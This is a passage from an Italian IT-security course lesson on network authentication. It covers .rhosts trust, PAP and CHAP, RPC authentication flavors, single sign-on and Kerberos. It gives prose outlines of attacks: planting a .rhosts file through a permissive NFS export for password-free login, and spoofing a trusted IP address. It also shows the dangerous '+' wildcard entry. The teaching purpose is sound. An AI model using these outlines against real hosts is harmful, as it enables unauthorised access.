pate sotto un unico "cappello", rendendo pi facile la con-
sultazione (soprattutto in reti di grandi dimensioni). Anche
l'amministratore avr vantaggi non indifferenti, potendo ef-
fettuare la gestione degli account in modo centralizzato, e
senza bisogno di tediose ripetizioni, qualunque sia il nu-
mero delle macchine facenti parte del dominio.
Sotto Linux esistono diverse strategie (tra le quali anche
un'architettura basata su Kerberos, equivalente, per con-
cezione e per tecnologia crittografica sottostante, all'ap-
proccio adottato da Windows) per semplificare la situa-
zione degli account multipli. Con la pi semplice di esse
possibile, in sostanza, fare in modo che il sistema B "si fidi"
dell'autenticazione avvenuta su un altro sistema A identifi-
cato dal suo nome logico. Ci avviene scrivendo specifiche
righe nel file .rhosts presente nella home directory dell'u-
tente U (sul file system del sistema B). Quando lutente di
nome U, gi autenticato nel sistema A, tenta di collegarsi a
B fornendo la stessa username U (o un'altra username pre-
stabilita, U2), il sistema B, consultando il corrispondente fi-
le .rhosts, conclude che per tale connessione proveniente
da A e tentata dall'utente U non occorre chiedere la pas-
sword.
ovvio che questo tipo di configurazione include anche
la macchina A nel "perimetro" entro il quale occorre vigila-
re perch non si verifichino violazioni di security. Infatti, se
la security del sistema A fosse violata, per propriet tran-
sitiva risulterebbe violata anche quella di B, dal momento
che questo accetta senza ulteriori controlli i login prove-
nienti da A. La situazione pu essere paragonata a quella
dello "spazio Schengen" nell'Unione Europea, con l'aboli-
zione delle frontiere interne, e alla questione del controllo
delle frontiere esterne degli Stati membri.
Nel caso in cui le home directory degli utenti apparten-
gono a un file system esportato via NFS, il sistema potreb-
be essere esposto a un semplice attacco qualora NFS e per-
messi di scrittura siano configurati in modo troppo "per-
missivo". Un utente potrebbe infatti montare da un sistema
C il file system delle home directories del sistema B e scri-
vere o modificare un file .rhosts in modo tale da assicurar-
si l'accesso al sistema B senza digitare n conoscere alcu-
na password. Sar poi sufficiente che egli definisca sul si-
stema C (sul quale deve avere privilegi di amministratore,
cosa che su un PC quasi la norma) un utente dal nome
uguale a quello per il quale ha alterato il file .rhost su B, e
poi effettui un remote login da C a B con tale username.
Un secondo aspetto da affrontare invece legato alla
"vulnerabilit" della comunicazione tra A e B. I pericoli in-
5.3.5
Autenticazione
in rete
5.3.5.1 Conoscere i
diversi requisiti per
lautenticazione in
rete rispetto
allautenticazione
del singolo host
IL FILE RHOSTS
Nei sistemi Linux, attraverso l'uso del file .rhosts, possibile fare in modo che il
sistema locale, al momento di decidere se consentire o meno l'accesso all'arrivo
di un comando rlogin, rsh/remsh o rcp, "si fidi" dei login effettuati con successo
su altri sistemi identificati attraverso l'hostname. Da notare che il meccanismo
del file .rhosts non ha effetto su altre forme di accesso, quali ftp, telnet e accessi
web.
Il file in questione va posizionato nella home directory dell'utente utentelocale al
quale si desidera consentire di entrare da un sistema remoto senza fornire
nuovamente il login. Per evidenti motivi di sicurezza, onde evitare ispezioni e
modifiche a scopo di intrusione, importante sottolineare che .rhosts deve
inoltre appartenere o a utentelocale o a root e dovrebbe sempre essere leggibile
(ma soprattutto scrivibile) esclusivamente per utentelocale.
Tale file pu contenere una o pi righe di testo la cui sintassi prevede
fondamentalmente un hostname (o carattere "+"), opzionalmente seguito da uno
spazio e da uno username. Alcuni esempi:
hostname.dominio.com
Tutti i login della macchina hostname.dominio.com saranno considerati validi
anche dal sistema locale al fine di effettuare il login in qualit di utentelocale.
+
Una riga composta da un singolo carattere "+" ha un effetto dello stesso tipo, ma
per qualsiasi macchina remota e non pi solo per hostname.dominio.com
(impostazione altamente pericolosa, senz'altro da sconsigliare)
hostname.dominio.com john
L'unico login della macchina hostname.dominio.com che sar accettato dal
sistema locale per accedere come utente "utentelocale" da quel sistema
"john". Altri login da quella macchina, o qualsiasi login (compreso "john") da altre
macchine, saranno rifiutati.
Esiste una versione ancora pi "forte" (e "pericolosa", se usata in modo
malaccorto) di questo tipo di meccanismo: il file hosts.equiv, che utilizza una
sintassi simile a quella descritta, con qualche opzione in pi, come l'uso del
carattere meno,"-", in posizione prefissa, per escludere esplicitamente un host o
un utente.
La differenza sta nel fatto che hosts.equiv ha un effetto globale sulla macchina.
Non occorre cio crearne una copia nella home directory di ciascun utente.
Questo file va posizionato in /etc e per evidenti motivi di sicurezza deve
appartenere a root e non essere scrivibile per alcun altro utente.
PC Open www.pcopen.it 56
ITAdministrator - Sicurezza informatica Lezione 3
siti in tale comunicazione (che, ricordiamolo, generalmen-
te implica sotto qualche forma uno scambio via rete di
username e password) sono essenzialmente due. Quello
fondamentale il rischio di intercettazione dei messaggi
scambiati all'atto del login, con conseguente compromis-
sione della segretezza della password utilizzata. L'altro, che
ne la logica conseguenza, il rischio che una volta cos ot-
tenuta la conoscenza di una username U e della relativa
password valida, qualche soggetto terzo "impersoni" l'u-
tente legittimo U, collegandosi a B da A o anche da una
macchina C diversa da A fornendo le credenziali di U. So-
prattutto se C un PC, pu risultare relativamente sempli-
ce disporre dei permessi di amministratore, coi quali pos-
sibile creare il profilo U. Una blanda linea di difesa contro
tale attacco consiste nell'impostare B in modo tale che ac-
cetti connessioni solo da indirizzi IP noti e "fidati": ad esem-
pio, per il servizio telnet, in diversi ambienti Linux, si agi-
sce sul file /etc/xinetd.d/telnet scrivendo una clausola
only_from che includa tutti e soli gli indirizzi dai quali si ac-
cetteranno connessioni. Naturalmente tale protezione pu
essere facilmente vanificata poich banale impostare il
PC in modo tale che abbia un indirizzo di rete identico a
uno di quelli "fidati" e, avendo accesso alle connessioni fi-
siche di rete, collegarlo poi al posto della macchina da im-
personare.
Per una sicura e affidabile autenticazione "da remoto" di
U sul sistema B necessario perci che sussistano con-
temporaneamente diverse condizioni: il fatto che U si col-
leghi a B da un sistema A identificato ed il cui livello di se-
curity sia ritenuto adeguato; il fatto che U si sia autentica-
to anzitutto su A e poi su B utilizzando le credenziali di cui
dispone su tali due sistemi, oppure che il sistema B accet-
ti per vera l'autenticazione gi avvenuta su A; infine, nel ca-
so in cui per qualsiasi motivo si renda necessario uno
scambio in rete fra B e A di informazioni sensibili concer-
nenti identit e password di U, che tale scambio sia pro-
tetto. Schemi e strategie di autenticazione di rete si prefig-
gono l'obiettivo di assicurare il rispetto di queste condi-
zioni.
Requisiti per lautenticazione su host e in rete
Lo schema classico per l'autenticazione locale di un
utente su un host (o pi in generale di un soggetto come
un processo - che pu effettuare azioni: con terminologia
Windows, come gi accennato, si parla di Security Princi-
pal) si basa sulla conoscenza di una password che deve es-
sere fornita insieme al proprio username all'atto del login.
La tecnica non richiede all'utente eccessivi sforzi mnem-
nonici e, a patto che sia stata scelta una password "forte"
(ossia non facile da indovinare), tenuta rigorosamente se-
greta dal titolare e memorizzata dal sistema in modo ben
protetto, offre una discreta sicurezza. Non appena tale
schema di autenticazione viene utilizzato per l'accesso da
remoto al sistema, per, sorge immediatamente il proble-
ma della possibile intercettazione del messaggio conte-
nente login e password, che deve per forza di cose transi-
tare sulla rete. In tale scenario quindi le cose si complica-
no.
Tutti gli schemi di autenticazione in rete si basano sul-
l'applicazione di un qualche ben definito protocollo per lo
scambio di messaggi. Tale scambio interessa come minimo
le due parti fondamentali in causa, ossia il client (che chie-
de di essere autenticato) e il server (che deve erogare il ser-
vizio, o consentire un accesso, dopo essersi convinto del-
la autenticit del client), anche se, come vedremo, in alcu-
ni schemi possono comparire anche ruoli terzi, come un
server di autenticazione, di cui entrambe le parti si fidano
e che diventa depositario di determinati segreti o al quale
vengono deputate alcune decisioni chiave.
Poich i messaggi che si scambiano le due parti posso-
no essere intercettati, esaminati, ricordati e poi ritrasmes-
si (intatti o modificati) da un attaccante, assolutamente
necessario prevedere unadeguata protezione crittografica
che contrasti tali tecniche: in virt della stessa possibile
fare in modo che (1) per qualunque terzo non autorizzato
i messaggi intercettati risultino incomprensibili, che (2) ri-
sulti impossibile modificarli in modo da non lasciare trac-
ce e che (3) risulti anche del tutto inutile archiviare un mes-
saggio intercettato (pur non avendolo potuto decifrare) e
riproporlo invariato in seguito nel tentativo di ottenere una
"replica" di un qualche effetto desiderato.
E' ovvio che per cifrare i messaggi in transito occorre
che mittente e ricevente si accordino su quale algoritmo
usare e, cosa ben pi delicata, sulle chiavi crittografiche.
Per molte applicazioni accettabile utilizzare algoritmi sim-
metrici a chiave segreta (la stessa chiave viene usata sia
per cifrare sia per decifrare); in tal caso la chiave dev'es-
sere nota a tutte le parti in causa, che devono anche prov-
vedere a memorizzarla in modo sicuro e non facilmente vio-
labile. Se questo non possibile o non ritenuto abba-
stanza sicuro, esistono tecniche, basate su particolari pro-
priet matematiche, che consentono di concordare "al vo-
lo" tra due parti una chiave segreta scambiandosi aperta-
mente messaggi (in chiaro), senza che tuttavia qualcuno in
ascolto possa ricavare la conoscenza della chiave segreta
dai messaggi intercettati (protocollo Diffie-Hellman).
Infine, possibile utilizzare schemi di autenticazione ba-
sati sull'uso di algoritmi crittografici a chiave pubblica, in
cui il problema della segretezza e della condivisione delle
chiavi risulta alleviato in modo sostanziale (vedi lezione 2).
Protocolli per lautenticazione degli utenti
Meritano un cenno, a questo punto, due protocolli per
l'autenticazione in rete degli utenti.
Il pi semplice il Password Authentication Protocol
(PAP), denominazione fin troppo enfatica per una banale
procedura che essenzialmente prevede l'invio dal client al
server di uno username (in chiaro) e successivamente di
una password (eventualmente cifrata). Il server confronta
le due informazioni con quelle detenute nel suo archivio di
dati segreti e in base al risultato conferma o rifiuta l'auten-
ticazione.
Il grosso limite di PAP sta nella sua vulnerabilit rispet-
to alle intercettazioni (specialmente nel caso in cui non sia
usata crittografazione per la password) ed agli attacchi ri-
petitivi volti a indovinare la password per tentativi.
Una versione pi sicura il Challenge Handshake
Authentication Protocol (CHAP) in cui il server manda an-
zitutto al client una stringa casuale (detta in gergo "chal-
lenge", o "sfida", in quanto presuppone una "risposta"). La
stringa casuale per generare messaggi ogni volta diversi,
al fine di ostacolare tentativi di attacco di tipo replay o at-
tacchi statistici sui messaggi di autenticazione. Per esclu-
dere con elevata sicurezza il rischio di attacchi statistici, la
stringa challenge lunga ben 8 byte, il che significa che esi-
stono 2^64 stringhe possibili (18 miliardi di miliardi). Se il
generatore di numeri casuali ha buone propriet statisti-
che, la challenge string dovrebbe risultare praticamente
sempre diversa.
Il client utilizza la stringa challenge e, combinandola in
modo prestabilito con la chiave segreta da trasmettere, cal-
cola un one-way hash (checksum crittografico irreversibi-
le) sul complesso dei due dati. tale hash, e non la chiave,
che il client spedisce, poi, al server.
Per verificare la validit dell'autenticazione del client, al
server baster effettuare la stessa operazione appena ese-
guita dal client (il challenge ovviamente noto al server
che lo ha "inventato", cos come gli nota la chiave che oc-
corre verificare) e confrontare l'hash ottenuto sui suoi da-
ti con quello appena inviatogli dal client. Nel caso i due ha-
sh coincidano, si pu essere ragionevolmente sicuri che il
messaggio non possa che provenire dal client (a rigore: da
qualcuno che conosce la chiave, ma ai nostri fini ci quel-
lo che conta), che viene cos autenticato.
5.3.5.1 Requisiti per
lautenticazione su
host e in rete
5.3.5.2 Conoscere
differenti protocolli
di rete per
lautenticazione
utente (PAP, CHAP
etc).
PC Open www.pcopen.it 57
Lezione 3 IT Administrator - Sicurezza informatica
Gli algoritmi PAP e CHAP possono essere utilizzati in
molteplici scenari di autenticazione, per esempio nelle con-
nessioni PPP (Point-to-Point Protocol) usate per le con-
nessioni a Internet via modem.
Accanto a tali protocolli standard, Microsoft ha propo-
sto (RFC2433) una propria variante di CHAP, nota come MS-
CHAP, per l'autenticazione di client Windows remoti in am-
bito Win9x/Me e NT/2k/XP. Le modifiche riguardano un
adattamento del formato del pacchetto dati per ragioni di
compatibilit con i protocolli di rete Windows, nonch la
definizione di codici d'errore dettagliati e l'introduzione di
meccanismi (pi sicuri e posti sotto il controllo del server)
per ritentare l'autenticazione e per la modifica della pas-
sword. Per esempio, diventa possibile per il server (che
svolge il ruolo di autenticatore) rifiutare una password in
quanto scaduta.
Unevoluzione ulteriore di questo protocollo (MS-CHAP
v2) stata introdotta con Windows XP. Le novit riguarda-
no la reciproca autenticazione di client e server, una crit-
tografia pi forte per la protezione delle fasi iniziali e l'uso
di chiavi distinte per le due direzioni di traffico.
Una vera e propria "piattaforma" per l'integrazione,
sempre in contesto PPP (o VPN) di altri possibili metodi di
autenticazione costituita poi dall'Extensible Authentica-
tion Protocol (EAP: RFC2284; e la sua evoluzione Protected
EAP, o PEAP). In tale contesto, metodi di autenticazione di
varia natura, comprese le Smart Card e i certificati digitali,
sono messi, da un punto di vista operativo, sullo stesso pia-
no, consentendo una facile scelta tra l'uno e l'altro. In figu-
ra 1 vediamo il dialog box con cui Windows XP propone va-
rie scelte per l'autenticazione in contesto LAN (Ethernet o
Wireless).
Per esempio, nel caso il metodo scelto sia MD5-Chal-
lenge, si user un protocollo molto simile a CHAP, mentre
qualora si selezioni PEAP, Windows render disponibile
una seconda finestra di opzioni per la scelta delle autorit
emittenti di certificati digitali ritenute "attendibili" e per la
selezione, in ambito EAP, dello specifico metodo di auten-
ticazione da usare (Figura 2). In caso di mancata autenti-
cazione, MS CHAP pu passare in modalit PAP (fallback)
il che costituisce un potenziale rischio di sicurezza.
Schema di funzionamento del protocollo CHAP
Il protocollo CHAP prende le mosse su iniziativa del ser-
ver che esige lautenticazione del client C. Il primo passo
infatti la generazione e linvio, da parte del server, di un
pacchetto challenge contenente (in chiaro) un valore ca-
suale X (ossia il challenge vero e proprio), un numero pro-
gressivo N (usato dal server per mantenere storia dei vari
challenge ancora in attesa di replica emessi verso vari
client) e un nome di autenticazione S che identifichi il ser-
ver.
Quando il client riceve il messaggio challenge esso co-
struisce una stringa composta dalla password P da usare
con quel particolare server (identificato dal nome conte-
nuto nel pacchetto) e dal numero progressivo N e challen-
ge X appena ricevuti dal server. Questa stringa viene poi
passata allalgoritmo MD5 che calcola H, un hash (check-
sum crittografico) che viene rispedito al server in un mes-
saggio di risposta al challenge. Oltre a tale hash, questo
messaggio porta a bordo C, inteso come il nome (in chiaro)
del principal lato client a cui si riferisce la password en-
trata nel calcolo dellhash.
Quando il server riceve il messaggio di risposta, quel-
lo che viene fatto consultare il database locale di pas-
sword conosciute per trovare la password corrisponden-
te al principal C, dopodich si procede allo stesso calco-
lo che il client ha appena effettuato per ottenere H. Se an-
che il server arriva allo stesso risultato H, per la propriet
Approfondimenti
RFC 2433 su MS-CHAP
http://www.faqs.org/
rfcs/rfc2433.html
RFC 2284 su EAP
http://www.faqs.org/
rfcs/rfc2284.html
PAP e CHAP
in contesto PPP
http://www.tldp.org/
LDP/nag/node120.html
Una presentazione di
PEAP
http://www.symbol.com
/products/wireless/
peap.html
Protocolli di
autenticazione
(da sito Microsoft)
http://www.microsoft.
com/resources/
documentation/Windows
/XP/all/reskit/en-us/
Default.asp?url=/
resources/documentation/
Windows/XP/all/reskit/
en-us/prcg_cnd_pysl.asp
1 2
In figura 1
vediamo il dialog box
con cui Windows XP
propone varie scelte per
l'autenticazione in
contesto LAN (Ethernet
o Wireless).
PC Open www.pcopen.it 58
ITAdministrator - Sicurezza informatica Lezione 3
della funzione hash usata (MD5), ci considerato prova
ragionevolmente certa che gli input dati allalgoritmo
MD5 lato client e lato server erano uguali. In particolare,
si considera dimostrato che la password usata lato client
come input allalgoritmo la stessa usata lato server, per-
ci lato client vi qualcuno che ha dimostrato di cono-
scere la password e per questa ragione, a questo punto, lo
si considera autenticato. In questo caso il protocollo ter-
mina con linvio, dal server al client, di un messaggio che
attesta lavvenuta autenticazione.
Protocolli per lautenticazione dei processi
Numerosi servizi di rete di larga diffusione e di grande
importanza, a partire dall'NFS (Network File System) per
la condivisione dei dischi in rete in ambiente Unix e Linux,
si basano su un'architettura client-server nella quale lo
scambio di messaggi tra le due parti in causa modellato
come una serie di Remote Procedure Calls (RPC) un pro-
tocollo che consente a un programma residente su un par-
ticolare computer di mandare in esecuzione un program-
ma residente su un server. Con RPC non ci si riferisce so-
lamente a uno schema logico, ma anche a un vero e pro-
prio protocollo standard che regola il comportamento
che i processi in gioco devono seguire, nonch a un set di
librerie utilizzabili dagli sviluppatori di applicativi per rea-
lizzare servizi client-server; RPC pu appoggiarsi sia su
connessioni TCP (Transmission Control Protocol) sia su
comunicazioni UDP (User Datagram Protocol).
Data la delicatezza e la criticit di molti dei servizi ba-
sati su RPC, la questione dell'autenticazione del richie-
dente riveste particolare importanza (ovviamente accan-
to a quella della correttezza degli applicativi). Per tale mo-
tivo esistono schemi di autenticazione applicabili a RPC,
che naturalmente fanno uso di tecniche crittografiche per
contrastare attacchi basati su intercettazione, modifica,
replay e altro. Tali tecniche (o authentication flavors) dif-
feriscono principalmente per l'algoritmo crittografico
usato, per la modalit con cui avviene lo scambio delle
chiavi e per altri dettagli.
L'assenza di strategia di autenticazione anch'essa
identificata come un flavor, (nella fattispecie il tipo
AUTH_NULL). Il flavor AUTH_UNIX (detto anche
AUTH_SYS), ancor oggi molto usato, prevede l'invio, da
parte del client, di hostname, username e gruppo (o un
massimo di 10 gruppi) di appartenenza. Si tratta, e il no-
me non ne fa mistero, di unimpostazione molto orienta-
ta al modello di autenticazione del mondo Unix e nella
quale, soprattutto, manca del tutto un ruolo di "verifica-
tore", sicch risulta semplice falsificare le credenziali e
spacciarsi per qualcun altro.
Il flavor AUTH_DES tenta di risolvere tali problemi. In-
nanzitutto il client viene identificato da una stringa (un
nome di rete, detto anche "netname") il cui formato li-
bero (e non pi Unix-oriented), purch soddisfi una con-
dizione di univocit globale nella rete. E' responsabilit
del client generare tale stringa nel modo a esso pi co-
modo e garantire il rispetto di tale condizione. Un classi-
co modo per farlo, adatto a molti sistemi operativi, con-
siste nel concatenare username, hostname ed eventuali
altre informazioni, con opportuni separatori non ambigui.
Per quanto riguarda il problema della protezione crit-
tografica della comunicazione RPC, in AUTH_DES si fa
uso, anche per motivi di prestazioni, di crittografia DES
(simmetrica a chiave segreta) a 56 bit, con una fase ini-
ziale, per la definizione concordata di una chiave di ses-
sione, protetta da uno schema Diffie-Hellman con impiego
di crittografia a chiave pubblica. Nei messaggi vengono
inoltre inseriti timestamp (informazioni sull'ora di emis-
sione dei messaggi) per rendere possibile il riconosci-
mento di messaggi troppo "vecchi" e poter cos contra-
stare eventuali attacchi di tipo replay.
Esiste anche un flavor di pi recente introduzione,
AUTH_KERB, che differisce da AUTH_DES principalmente
per il fatto che, anzich spedire il "netname" e una chiave
di sessione, si riutilizza con vantaggio il "service ticket"
generato e gestito da Kerberos. Inoltre, come in tutti gli
schemi Kerberos, la sensibilit di AUTH_KERB alla diffe-
renza tra i clock delle due macchine non trascurabile co-
me nel caso di AUTH_DES, in cui previsto un sistema per
il rilevamento e la compensazione automatica di tale
eventuale differenza.
Schema (semplificato) della fase di invio delle
credenziali dal client al server allinizio di una
sessione RPC
In modo AUTH_DES le credenziali (sempre accompa-
gnate da informazioni di verifica, non mostrate in figura,
che le proteggono) sono costituite dal nome del principal
e dalla chiave di sessione Ks cifrata mediante la chiave
Kdh precedentemente concordata con lalgoritmo Diffie-
Hellman.
In modo AUTH_KERB tutto quello che occorre che il
principal mandi come proprie credenziali (a parte le
informazioni di verifica, anche in questo caso non mo-
strate) il ticket di sessione precedentemente ottenuto
mediante Kerberos (Tk). Il semplice possesso di quel
ticket attesta infatti che in precedenza il principal ha su-
perato con successo una fase di autenticazione con
lAuthentication Server, di cui anche il server si fida.
Architetture a singolo sign-on
Quando si ha a che fare con sistemi articolati e com-
plessi, composti da una molteplicit di host (connessi tra
loro in rete) e di servizi erogati da essi, con un gran nu-
mero di utenti e con la necessit di autenticarsi con ogni
servizio per potervi accedere, ci si pu facilmente trova-
re davanti a una situazione pressoch ingestibile, sia per
l'utente finale costretto a ripetere frequentemente l'o-
perazione di login, sia per gli amministratori di sistema, al-
le prese con il problema di governare un elevato numero
di profili per diversi host o servizi.
Come abbiamo visto, possibili soluzioni "palliative"
vanno dalla scelta, da parte degli utenti, di login e pas-
sword ovunque uguali, all'utilizzo di stratagemmi come il
meccanismo .rhosts per il riconoscimento reciproco del-
l'autenticazione tra host.
Una soluzione strutturalmente migliore prende le mos-
se da una strategia di gestione unificata degli utenti, at-
traverso la creazione di un database unico, centralizzato,
per tutti i profili (username, password e altri dati) al qua-
le le applicazioni possano magari accedere attraverso
un'interfaccia standard, specializzata nel trattamento di
questo tipo di dati, come LDAP (Lightweight Directory Ac-
cess Protocol). Il passo successivo per consiste nel con-
gegnare le applicazioni del sistema complessivo in modo
che non soltanto l'autenticazione avvenga appoggiandosi
alle informazioni contenute in tale database unificato, ma
che l'utente debba autenticarsi una sola volta, al primo ac-
cesso, e in seguito risulti automaticamente autenticato su
tutte le altre risorse di rete. A tal fine sono considerate ri-
5.3.5.3 Conoscere
differenti protocolli di
rete per
lautenticazione di
processi distribuiti
5.3.5.4 Essere
consci della
complessit dei
sistemi ad
architettura single
sign-on
Approfondimenti
La RFC1050, su RPC e
sui principali schemi di
autenticazione:
http://www.faqs.org/
rfcs/rfc1050.html
Documento Sun su
AUTH_KERB:
http://www.cybersafe.ltd.
uk/docs_other/Kerberos
%20Authentication%20in
%20Sun%20RPC%20for
%20NFS.pdf
Vulnerabilit di RPC
http://www.nfr.com/
newsletter/winter-04/
ALookAtRPCSecurity.htm
PC Open www.pcopen.it 59
Lezione 3 IT Administrator - Sicurezza informatica
sorse di rete non solo periferiche o i dischi condivisi, ma
qualunque servizio reso disponibile dal sistema nel suo
complesso, inclusi gli accessi interattivi (come telnet/rlo-
gin/rsh, per sistemi Linux) e l'accesso a servizi erogati via
Web.
Tale approccio complessivo all'autenticazione va sotto
il nome di Single Sign-On (SSO) e, se da un lato offre degli
indubbi benefici in termini di praticit d'uso per gli uten-
ti finali (e, di conseguenza, un incremento di produttivit),
ha anche effetti positivi sulla sicurezza del sistema, in
quanto evidente che non dovendo pi ricordare nume-
rose password l'utente meno portato a tenerne traccia
scritta in luoghi magari poco protetti; inoltre la gestione
dei profili risulta centralizzata e quindi non solo pi sem-
plice, ma anche pi sicura (diminuisce il rischio di di-
menticare gli account attivi o le password obsolete, ma-
gari gi compromesse).
Naturalmente la difficolt di realizzare una architettu-
ra SSO per l'autenticazione proporzionale all'eteroge-
neit del sistema.
Quando l'ambiente complessivo omogeneo la solu-
zione pu essere addirittura gi disponibile "gratis", come
avviene con il modello Microsoft.
Esso prevede anzitutto un LDAP server come deposito
centrale delle informazioni di profilo. Si distinguono poi
quattro tipi di logon, pensati per altrettanti modelli di
comportamento e di accesso a risorse di rete. Innanzitut-
to vi il login interattivo, che corrisponde alla classica si-
tuazione in cui si accede a un computer per il quale si di-
sponga di accesso fisico diretto (anche se, per la verit, gli
accessi via Terminal Server sono equiparati); il login di re-
te, per l'utilizzo da remoto, in modalit client-server, di
qualche risorsa o servizio; il login per servizi, che i servi-
zi Win32 effettuano sul nodo locale per poter entrare in at-
tivit; e infine i login batch, usati appunto per l'esecuzio-
ne di job batch, magari in background.
Qui interessa soprattutto il secondo di questi tipi di lo-
gin, il login di rete, il quale si avvale del protocollo Ker-
beros (di origine Unix, ma adottato ufficialmente da Mi-
crosoft precisamente in versione 5 - per i suoi sistemi
operativi da Windows 2000 in poi) per garantire un eleva-
to livello di sicurezza per l'autenticazione malgrado que-
sta avvenga in rete.
Vedi il seguente capitolo (5.3.5.5) per la descrizione
dettagliata delle fasi di autenticazione utilizzate dal pro-
tocollo Kerberos.
Principi operativi di Kerberos
Il servizio distribuito di autenticazione in rete Kerbe-
ros, inventato nella met degli anni '80 dal MIT, prende ap-
propriatamente il nome dal cane a tre teste che secondo
la mitologia greca vigilava sull'accesso agli inferi.
In sintesi, il servizio offerto da Kerberos consente a un
processo (client) mandato in esecuzione da un utente
(principal) di attestare e dimostrare la propria identit a
un ente verificatore (una applicazione server) senza in-
viare alcuna informazione in rete in particolare, pas-
sword - la cui intercettazione potrebbe consentire a un at-
taccante o allo stesso verificatore dimpersonare in se-
guito l'utente.
Tale operazione apparentemente contraddittoria e im-
possibile, in realt consentita da un impiego ingegnoso
di tecniche crittografiche.
Nel funzionamento di Kerberos gli attori fondamentali
sono 4: oltre ai gi citati client (C) e server (R) vi sono in-
fatti:
- un authentication server (AS), con il quale ogni client C
condivide una propria chiave crittografica segreta Kc. AS
ha la funzione di generare in modo sicuro (fidato e non
intercettabile da terzi in ascolto) "l'innesco" della suc-
cessiva conversazione: la chiave di sessione.
- un ticket-granting server (TGS) che si occupa di fare da
"ponte crittografico" fra client e server per generare in
modo convincente per entrambi, e non intercettabile da
terzi, una chiave da usare per la successiva comunica-
zione diretta tra C e R.
FASE 1
Quando C desidera attivare una connessione con R per
richiedere l'esecuzione di un servizio, autenticandosi in
modo credibile per R, ma non intercettabile per terzi non
autorizzati, per prima cosa invia (in chiaro) il proprio no-
me "C" ad AS. AS esamina il proprio database di contro-
parti note e verifica che effettivamente un client C noto
e che in particolare nota la chiave segreta Kc da usare
nelle comunicazioni con esso. AS allora genera una chia-
ve di sessione Ks (ogni volta una diversa) e un "ticket" ot-
tenuto crittografando con la chiave segreta Ktgs la coppia
di informazioni costituita dall'identit del client, C, e dal-
la chiave di sessione, Ks. Chiave di sessione e ticket ven-
gono usati per formare un messaggio che viene poi cifra-
to con la chiave segreta Kc e spedito a C come risultato.
Il messaggio cos ottenuto risulta indecifrabile per chiun-
Approfondimenti
RFC 2251 (LDAP):
http://www.faqs.org/
rfcs/rfc2251.html
5.3.5.5
Conoscere i
principi generali
di
funzionamento
del sistema di
autenticazione
Kerberos.
PC Open www.pcopen.it 60
ITAdministrator - Sicurezza informatica Lezione 3
que non conosca la chiave segreta Kc, ma non per C, che
ne al corrente. Quando C riceve il messaggio, utilizza
proprio Kc per decifrarlo ed estrarre Ks e il ticket. Il ticket
indecifrabile per C, che non conosce la chiave Ktgs con
cui stato cifrato. [figura fase 1]
FASE 2
C invia al ticket-granting server TGS il ticket cos come
l'ha ricevuto, accompagnato dall'identit R (in chiaro) del
server con cui vuol parlare e dall'ora esatta crittografata
con la chiave di sessione Ks.
Per il TGS, che naturalmente conosce Ktgs, possibile
decifrare il ticket ed ottenere cos Ks e C. Con Ks pu poi
decifrare l'ora esatta e verificare se il messaggio che ha
appena ricevuto da C effettivamente stato mandato di
recente oppure se si tratta di un vecchio messaggio che
qualcuno ha intercettato e sta ora cercando di ripetere
per ingannare il server inducendolo a ripetere una ope-
razione gi effettuata in precedenza (replay attack).
Il TGS sceglie ora una chiave segreta Kcr da usarsi per
la comunicazione che sta per avere inizio fra il client C e
il server R.
Il prossimo passo consiste nell'invio a C, da parte del
TGS, di due informazioni protette. La prima consiste nel-
la coppia R, Kcr crittografata usando la chiave di sessio-
ne, Ks. La chiave di sessione nota solo a C (oltre ai fida-
ti AS e TGS) quindi nessun altro, all'infuori del client, pu
intercettare tale messaggio. C pu cos estrarre Kcr e ini-
ziare a usarla per parlare con R.
La seconda informazione consiste nella coppia C, Kcr
crittografata con la chiave Kr del server. Poich il client
non conosce Kr, C non ha la possibilit di decifrare (ma-
gari per alterarlo) questo valore. Tutto quello che pu fa-
re di spedirlo tale e quale al server R, accompagnato an-
che in questo caso dall'ora esatta cifrata usando la chia-
ve Kcr.
FASE 3
Quando il server R riceve questo messaggio, per prima
cosa lo decifra usando la sua chiave segreta Kr. Ottiene
cos la chiave Kcr e l'identit C del client che gli sta par-
lando, il che gli permette di verificare che il messaggio stia
arrivando proprio da chi il mittente afferma di essere.
Con la chiave Kcr invece il server per prima cosa deci-
fra l'ora esatta e verifica che il messaggio sia davvero re-
cente. In caso contrario potremmo essere ancora di fron-
te a un replay attack, e il server per tutelarsi non dovr fa-
re altro che ignorare il messaggio.
A questo punto sia C sia R (e nessun altro, escluso, na-
turalmente, il "fidato" TGS) conoscono la chiave segreta
condivisa Kcr e R considera finalmente autenticato C: la
comunicazione sicura fra essi pu cominciare, natural-
mente crittografata usando Kcr come chiave. Chiunque
fosse stato in ascolto non ha visto passare alcuna pas-
sword (nemmeno crittografata) e da ci che pu avere in-
tercettato non ha acquistato n la possibilit di intromet-
tersi nella conversazione spacciandosi in modo credibile
per qualcun altro (per farlo dovrebbe ingannare AS e TGS,
ma non conosce le chiavi segrete per farlo), n la possi-
bilit di memorizzare e ripetere dei messaggi (grazie ai ti-
mestamp crittografati con chiavi segrete).
Inoltre, ogni successivo scambio di messaggi fra C e R
avviene in forma cifrata usando una chiave segreta Kcr e
risulta quindi incomprensibile a terzi non autorizzati in
ascolto.
Controllo degli accessi
Una volta conseguita l'autenticazione, con cui ha con-
validato la propria identit, il "principal" (utente o pro-
cesso che sia) che desideri accedere a una determinata ri-
sorsa si trova ancora a met del guado: il fatto che la sua
identit sia ora accertata, infatti, non significa necessa-
riamente che gli debba essere concesso quello che chie-
de.
Occorre prima verificare se a quel "principal" con-
sentito l'accesso alla risorsa e questo, ove applicabile, nel-
la modalit richiesta, a seconda del modello previsto a ta-
le riguardo (lettura, scrittura, creazione,..).
Di questo si occupa una seconda "barriera" subito a
valle dell'autenticazione: il controllo degli accessi (Access
Control).
Principi di controllo degli accessi
Con il termine "controllo degli accessi" ci si riferisce a
quelle funzionalit del sistema operativo che stabiliscono
chi pu accedere alle risorse disponibili ed esercitano il
potere di concedere, o negare, l'abilitazione a tale acces-
so.
A seconda dei sistemi operativi, il controllo degli ac-
cessi pu riguardare un set pi o meno vasto di entit, dai
"soliti" file fino a concetti pi sottili come le chiavi di re-
gistro o i semafori, passando per stampanti di rete, pro-
cessi e thread.
Nella terminologia Windows, le entit assoggettabili a
controllo degli accessi si chiamano "securable objects".
Da un punto di vista concettuale, poi, qualunque sia
l'implementazione offerta dal sistema operativo, si pu
Approfondimenti
Per una presentazione
di Kerberos si veda
Tanenbaum, Computer
Networks (IV edition),
Prentice-Hall, cap. 8.7.4;
oppure, su Web.
http://www.isi.edu/
gost/publications/
kerberos-neuman-
tso.html
5.3.6 Controllo
degli accessi
5.3.6.1
Conoscere i
principi
